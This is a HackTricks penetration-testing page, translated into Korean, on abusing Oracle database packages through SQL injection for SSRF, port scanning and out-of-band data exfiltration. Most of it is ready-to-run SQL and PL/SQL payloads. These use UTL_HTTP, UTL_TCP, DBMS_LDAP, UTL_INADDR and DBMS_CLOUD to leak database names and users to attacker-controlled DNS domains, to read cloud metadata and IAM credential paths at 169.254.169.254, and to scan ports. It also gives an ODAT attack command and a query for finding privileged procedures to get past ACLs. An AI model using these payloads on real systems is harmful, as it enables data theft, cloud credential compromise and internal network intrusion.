Oracle injection

Reading time: 9 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

이 게시물에 대한 삭제된 게시물의 Wayback Machine 복사본을 제공하십시오: https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/.

SSRF

Oracle을 사용하여 Out of Band HTTP 및 DNS 요청을 수행하는 것은 잘 문서화되어 있지만, SQL 데이터 유출 수단으로서의 주목을 받고 있습니다. 우리는 항상 이러한 기술/함수를 수정하여 다른 SSRF/XSPA를 수행할 수 있습니다.

Oracle 설치는 정말 고통스러울 수 있으며, 특히 명령을 시도하기 위해 빠른 인스턴스를 설정하려는 경우에는 더욱 그렇습니다. Appsecco의 친구이자 동료인 Abhisek Datta가 저에게 https://github.com/MaksymBilenko/docker-oracle-12c를 알려주었고, 이를 통해 t2.large AWS Ubuntu 머신과 Docker에서 인스턴스를 설정할 수 있었습니다.

저는 이 블로그 게시물의 과정에서 Oracle을 네이티브 설치처럼 전체 네트워크 액세스를 가진 상태로 모방할 수 있도록 --network="host" 플래그와 함께 docker 명령을 실행했습니다.

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

URL 또는 호스트/포트 번호 사양을 지원하는 Oracle 패키지

호스트 및 포트 사양을 지원하는 패키지와 기능을 찾기 위해, Oracle Database Online Documentation에서 Google 검색을 실행했습니다. 구체적으로,

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

검색 결과는 다음과 같습니다 (모두 외부 네트워크를 수행하는 데 사용할 수 있는 것은 아님)

  • DBMS_NETWORK_ACL_ADMIN
  • UTL_SMTP
  • DBMS_XDB
  • DBMS_SCHEDULER
  • DBMS_XDB_CONFIG
  • DBMS_AQ
  • UTL_MAIL
  • DBMS_AQELM
  • DBMS_NETWORK_ACL_UTILITY
  • DBMS_MGD_ID_UTL
  • UTL_TCP
  • DBMS_MGWADM
  • DBMS_STREAMS_ADM
  • UTL_HTTP

이 간단한 검색은 DBMS_LDAP와 같은 패키지를 명백히 건너뛰는데, 이는 호스트 이름과 포트 번호를 전달할 수 있게 해줍니다. 문서 페이지는 단순히 다른 위치로 안내합니다. 따라서 제가 놓쳤을 수 있는 외부 요청을 수행할 수 있는 다른 Oracle 패키지가 있을 수 있습니다.

어쨌든, 우리가 발견하고 나열한 패키지 중 일부를 살펴보겠습니다.

DBMS_LDAP.INIT

DBMS_LDAP 패키지는 LDAP 서버에서 데이터에 접근할 수 있게 해줍니다. init() 함수는 LDAP 서버와의 세션을 초기화하며, 호스트 이름과 포트 번호를 인수로 받습니다.

이 함수는 DNS를 통해 데이터 유출을 보여주는 문서화된 예가 있습니다, 아래와 같이.

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

그러나 이 함수가 호스트 이름과 포트 번호를 인수로 받아들이기 때문에, 이를 사용하여 포트 스캐너처럼 작동할 수 있습니다.

다음은 몇 가지 예입니다.

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.는 포트가 닫혀 있음을 나타내지만 세션 값은 포트가 열려 있음을 가리킵니다.

UTL_SMTP

UTL_SMTP 패키지는 SMTP를 통해 이메일을 전송하기 위해 설계되었습니다. Oracle 문서 사이트에 제공된 예제는 이 패키지를 사용하여 이메일을 전송하는 방법을 보여줍니다. 그러나 우리에게 흥미로운 점은 호스트 및 포트 사양을 제공할 수 있는 능력입니다.

아래에는 2초의 타임아웃을 가진 UTL_SMTP.OPEN_CONNECTION 함수의 조잡한 예가 나와 있습니다.

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

ORA-29276: transfer timeout는 포트가 열려 있지만 SMTP 연결이 설정되지 않았음을 나타내고, ORA-29278: SMTP transient error: 421 Service not available는 포트가 닫혀 있음을 나타냅니다.

UTL_TCP

UTL_TCP 패키지와 그 절차 및 함수는 서비스와의 TCP/IP 기반 통신을 허용합니다. 특정 서비스에 대해 프로그래밍된 경우, 이 패키지는 네트워크로의 접근 방법이 되거나 모든 TCP/IP 연결의 모든 측면을 제어할 수 있으므로 전체 서버 측 요청을 수행할 수 있습니다.

Oracle 문서 사이트의 예제는 이 패키지를 사용하여 웹 페이지를 가져오기 위해 원시 TCP 연결을 만드는 방법을 보여줍니다. 우리는 이를 조금 더 단순화하여 메타데이터 인스턴스나 임의의 TCP/IP 서비스에 요청을 만드는 데 사용할 수 있습니다.

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

흥미롭게도, 원시 TCP 요청을 작성할 수 있는 능력 덕분에 이 패키지는 모든 클라우드 공급자의 인스턴스 메타데이터 서비스에 쿼리하는 데에도 사용될 수 있습니다. 메서드 유형과 추가 헤더는 모두 TCP 요청 내에서 전달될 수 있습니다.

UTL_HTTP 및 웹 요청

아마도 모든 Out of Band Oracle SQL Injection 튜토리얼에서 가장 일반적이고 널리 문서화된 기술은 UTL_HTTP 패키지입니다. 이 패키지는 문서에서 다음과 같이 정의됩니다 - The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

이것을 사용하여 다음과 같은 쿼리로 기본적인 포트 스캐닝을 수행할 수도 있습니다.

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

ORA-12541: TNS:no listener 또는 TNS:operation timed out는 TCP 포트가 닫혀 있다는 신호이며, ORA-29263: HTTP protocol error 또는 데이터는 포트가 열려 있다는 신호입니다.

제가 과거에 사용했던 또 다른 패키지는 HTTPURITYPE Oracle 추상 타입의 GETCLOB() 메서드로, URL과 상호작용할 수 있게 해주며 HTTP 프로토콜을 지원합니다. GETCLOB() 메서드는 URL에서 GET 응답을 CLOB 데이터 타입으로 가져오는 데 사용됩니다.

SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;

추가 패키지 및 기술 (Oracle 19c → 23c)

UTL_INADDR – DNS 기반 유출 및 호스트 탐색

UTL_INADDR는 데이터베이스 호스트에서 아웃바운드 DNS 조회를 트리거하는 간단한 이름 해상도 도우미를 노출합니다. 도메인만 필요하므로(포트/ACL 필요 없음) 다른 네트워크 호출이 차단될 때 블라인드 유출을 위한 신뢰할 수 있는 원시 기능입니다.

sql
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;

get_host_address()는 해결된 IP를 반환합니다(해결 실패 시 ORA-29257 발생). 공격자는 코드 실행을 확인하기 위해 제어된 도메인에서 들어오는 DNS 요청을 주시하기만 하면 됩니다.

DBMS_CLOUD.SEND_REQUEST – Autonomous/23c의 전체 HTTP 클라이언트

최근 클라우드 중심 버전(Autonomous Database, 21c/23c, 23ai)에는 DBMS_CLOUD가 포함되어 있습니다. SEND_REQUEST 함수는 사용자 정의 동사, 헤더, TLS 및 대용량 본문을 지원하는 범용 HTTP 클라이언트로 작동하여 고전적인 UTL_HTTP보다 훨씬 더 강력합니다.

sql
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username        => 'ignored',
password        => 'ignored');
END;
/

DECLARE
resp  DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri             => 'http://169.254.169.254/latest/meta-data/',
method          => 'GET',
timeout         => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/

SEND_REQUEST가 임의의 대상 URI를 허용하기 때문에 SQLi를 통해 악용될 수 있습니다:

  1. 내부 포트 스캐닝 / SSRF를 클라우드 메타데이터 서비스로.
  2. HTTPS를 통한 아웃 오브 밴드 유출 (Burp Collaborator 또는 ngrok 터널 사용).
  3. ACL에 의해 이전 호출 패키지가 비활성화되어도 공격자 서버로의 콜백.

ℹ️ 클래식 온프레미스 19c만 있지만 Java 저장 프로시저를 생성할 수 있는 경우, OCI 클라이언트 번들에서 DBMS_CLOUD를 설치할 수 있는 경우가 있습니다 — 일부 작업에 유용합니다.

ODAT로 공격 표면 자동화

ODAT – Oracle Database Attacking Tool은 최신 릴리스에 발맞추어 왔습니다 (19c, 5.1.1 – 2022년 4월까지 테스트됨). –utl_http, –utl_tcp, –httpuritype 및 최신 –dbms_cloud 모듈은 자동으로:

  • 사용 가능한 호출 패키지/ACL 권한을 감지합니다.
  • 블라인드 추출을 위한 DNS 및 HTTP 콜백을 트리거합니다.
  • Burp/SQLMap을 위한 복사 준비가 완료된 SQL 페이로드를 생성합니다.

예: 기본 자격 증명을 사용한 빠른 OOB 확인 (백그라운드에서 ACL 열거를 처리합니다):

bash
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob

최근 네트워크 ACL 제한 및 우회

Oracle은 2023년 7월 CPU에서 기본 네트워크 ACL을 강화했습니다 — 이제 권한이 없는 계정은 기본적으로 ORA-24247: network access denied by access control list를 받습니다. SQLi를 통해 호출을 허용하는 두 가지 패턴이 여전히 존재합니다:

  1. 대상 계정이 통합을 위해 개발자가 추가한 ACL 항목(DBMS_NETWORK_ACL_ADMIN.create_acl)을 소유하고 있습니다.
  2. 공격자가 AUTHID DEFINER 및 필요한 권한을 이미 가진 고급 PL/SQL 정의자 권한 루틴(예: 사용자 정의 애플리케이션)을 악용합니다.

악용 중 ORA-24247를 만날 경우 항상 재사용 가능한 프로시저를 검색하십시오:

sql
SELECT owner, object_name
FROM   dba_objects
WHERE  object_type = 'PROCEDURE'
AND  authid       = 'DEFINER';

(많은 감사에서 적어도 하나의 보고/내보내기 절차가 필요한 권한을 가지고 있었습니다).


References

  • Oracle Docs – DBMS_CLOUD.SEND_REQUEST 패키지 설명 및 예제.
  • quentinhardy/odat – Oracle 데이터베이스 공격 도구 (최신 릴리스 5.1.1, 2022년 4월).

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기